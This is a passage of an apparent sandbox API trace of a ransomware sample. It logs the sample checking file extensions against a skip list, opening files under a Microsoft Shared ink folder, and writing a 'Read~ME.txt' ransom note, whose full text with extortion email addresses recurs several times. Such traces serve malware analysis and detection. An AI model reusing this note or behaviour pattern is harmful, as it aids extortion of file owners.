	[0078.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0078.208] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9a98 | out: hHeap=0x300000) returned 1
	[0078.208] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6dc0
	[0078.208] lstrlenW (lpString=".scr") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".scr") returned 0x0
	[0078.208] lstrlenW (lpString=".cmd") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".cmd") returned 0x0
	[0078.208] lstrlenW (lpString=".dll") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".dll") returned 0x0
	[0078.208] lstrlenW (lpString=".bat") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".bat") returned 0x0
	[0078.208] lstrlenW (lpString=".cpl") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".cpl") returned 0x0
	[0078.208] lstrlenW (lpString=".sys") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".sys") returned 0x0
	[0078.208] lstrlenW (lpString=".msc") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".msc") returned 0x0
	[0078.208] lstrlenW (lpString=".com") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".com") returned 0x0
	[0078.208] lstrlenW (lpString=".lnk") returned 4
	[0078.208] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".lnk") returned 0x0
	[0078.208] lstrlenW (lpString=".msp") returned 4
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".msp") returned 0x0
	[0078.209] lstrlenW (lpString=".pif") returned 4
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch=".pif") returned 0x0
	[0078.209] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe", lpSrch="msp\r\n.pif") returned 0x0
	[0078.209] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ConvertInkStore.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\convertinkstore.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6dc0 | out: hHeap=0x300000) returned 1
	[0078.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.209] RtlWakeConditionVariable () returned 0x365f70
	[0078.209] GetCurrentThreadId () returned 0x3a4
	[0078.209] GetCurrentThreadId () returned 0x3a4
	[0078.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0078.209] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ad0 | out: hHeap=0x300000) returned 1
	[0078.209] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6d18
	[0078.209] lstrlenW (lpString=".scr") returned 4
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.209] lstrlenW (lpString=".cmd") returned 4
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.209] lstrlenW (lpString=".dll") returned 4
	[0078.209] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.210] lstrlenW (lpString=".dll.mui") returned 8
	[0078.210] lstrlenW (lpString=".bat") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.210] lstrlenW (lpString=".cpl") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.210] lstrlenW (lpString=".sys") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.210] lstrlenW (lpString=".msc") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.210] lstrlenW (lpString=".com") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.210] lstrlenW (lpString=".lnk") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.210] lstrlenW (lpString=".msp") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.210] lstrlenW (lpString=".pif") returned 4
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.210] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.210] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6d18 | out: hHeap=0x300000) returned 1
	[0078.210] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.211] RtlWakeConditionVariable () returned 0x365f70
	[0078.211] GetCurrentThreadId () returned 0x3a4
	[0078.211] GetCurrentThreadId () returned 0x3a4
	[0078.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0078.211] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b08 | out: hHeap=0x300000) returned 1
	[0078.211] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6b20
	[0078.211] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\cs-CZ\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\cs-cz\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.211] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.211] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.213] CloseHandle (hObject=0x130) returned 1
	[0078.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6b20 | out: hHeap=0x300000) returned 1
	[0078.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.213] RtlWakeConditionVariable () returned 0x365f70
	[0078.213] GetCurrentThreadId () returned 0x3a4
	[0078.213] GetCurrentThreadId () returned 0x3a4
	[0078.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0078.213] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b40 | out: hHeap=0x300000) returned 1
	[0078.213] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e65e0
	[0078.213] lstrlenW (lpString=".scr") returned 4
	[0078.213] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.214] lstrlenW (lpString=".cmd") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.214] lstrlenW (lpString=".dll") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.214] lstrlenW (lpString=".dll.mui") returned 8
	[0078.214] lstrlenW (lpString=".bat") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.214] lstrlenW (lpString=".cpl") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.214] lstrlenW (lpString=".sys") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.214] lstrlenW (lpString=".msc") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.214] lstrlenW (lpString=".com") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.214] lstrlenW (lpString=".lnk") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.214] lstrlenW (lpString=".msp") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.214] lstrlenW (lpString=".pif") returned 4
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.214] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.214] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.214] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0078.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.215] RtlWakeConditionVariable () returned 0x365f70
	[0078.215] GetCurrentThreadId () returned 0x3a4
	[0078.215] GetCurrentThreadId () returned 0x3a4
	[0078.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0078.215] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9b78 | out: hHeap=0x300000) returned 1
	[0078.215] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6a78
	[0078.215] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\da-DK\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\da-dk\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.216] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.216] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.217] CloseHandle (hObject=0x130) returned 1
	[0078.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6a78 | out: hHeap=0x300000) returned 1
	[0078.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.218] RtlWakeConditionVariable () returned 0x365f70
	[0078.218] GetCurrentThreadId () returned 0x3a4
	[0078.218] GetCurrentThreadId () returned 0x3a4
	[0078.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0078.218] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c9d0 | out: hHeap=0x300000) returned 1
	[0078.218] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e69d0
	[0078.218] lstrlenW (lpString=".scr") returned 4
	[0078.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.218] lstrlenW (lpString=".cmd") returned 4
	[0078.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.218] lstrlenW (lpString=".dll") returned 4
	[0078.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.218] lstrlenW (lpString=".dll.mui") returned 8
	[0078.218] lstrlenW (lpString=".bat") returned 4
	[0078.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.218] lstrlenW (lpString=".cpl") returned 4
	[0078.218] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.218] lstrlenW (lpString=".sys") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.219] lstrlenW (lpString=".msc") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.219] lstrlenW (lpString=".com") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.219] lstrlenW (lpString=".lnk") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.219] lstrlenW (lpString=".msp") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.219] lstrlenW (lpString=".pif") returned 4
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.219] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.219] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0078.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.220] RtlWakeConditionVariable () returned 0x365f70
	[0078.220] GetCurrentThreadId () returned 0x3a4
	[0078.220] GetCurrentThreadId () returned 0x3a4
	[0078.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0078.220] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9bb0 | out: hHeap=0x300000) returned 1
	[0078.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6730
	[0078.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\de-de\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.221] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.221] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.222] CloseHandle (hObject=0x130) returned 1
	[0078.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6730 | out: hHeap=0x300000) returned 1
	[0078.222] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.222] RtlWakeConditionVariable () returned 0x365f70
	[0078.222] GetCurrentThreadId () returned 0x3a4
	[0078.223] GetCurrentThreadId () returned 0x3a4
	[0078.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0078.223] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9be8 | out: hHeap=0x300000) returned 1
	[0078.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aba08
	[0078.223] lstrlenW (lpString=".scr") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".scr") returned 0x0
	[0078.223] lstrlenW (lpString=".cmd") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.223] lstrlenW (lpString=".dll") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.223] lstrlenW (lpString=".dll.mui") returned 8
	[0078.223] lstrlenW (lpString=".bat") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".bat") returned 0x0
	[0078.223] lstrlenW (lpString=".cpl") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.223] lstrlenW (lpString=".sys") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".sys") returned 0x0
	[0078.223] lstrlenW (lpString=".msc") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".msc") returned 0x0
	[0078.223] lstrlenW (lpString=".com") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".com") returned 0x0
	[0078.223] lstrlenW (lpString=".lnk") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.223] lstrlenW (lpString=".msp") returned 4
	[0078.223] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".msp") returned 0x0
	[0078.224] lstrlenW (lpString=".pif") returned 4
	[0078.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch=".pif") returned 0x0
	[0078.224] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.224] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aba08 | out: hHeap=0x300000) returned 1
	[0078.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.224] RtlWakeConditionVariable () returned 0x365f70
	[0078.224] GetCurrentThreadId () returned 0x3a4
	[0078.224] GetCurrentThreadId () returned 0x3a4
	[0078.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.224] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9c20 | out: hHeap=0x300000) returned 1
	[0078.224] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
	[0078.225] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0078.225] WriteFile (in: hFile=0x130, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x24dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x24dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0078.226] CloseHandle (hObject=0x130) returned 1
	[0078.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808b10 | out: hHeap=0x300000) returned 1
	[0078.226] RtlWakeConditionVariable () returned 0x365f70
	[0078.226] GetCurrentThreadId () returned 0x3a4
	[0078.226] GetCurrentThreadId () returned 0x3a4
	[0078.226] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808b10
	[0078.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abb58 | out: hHeap=0x300000) returned 1
	[0078.226] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39de38 | out: hHeap=0x300000) returned 1
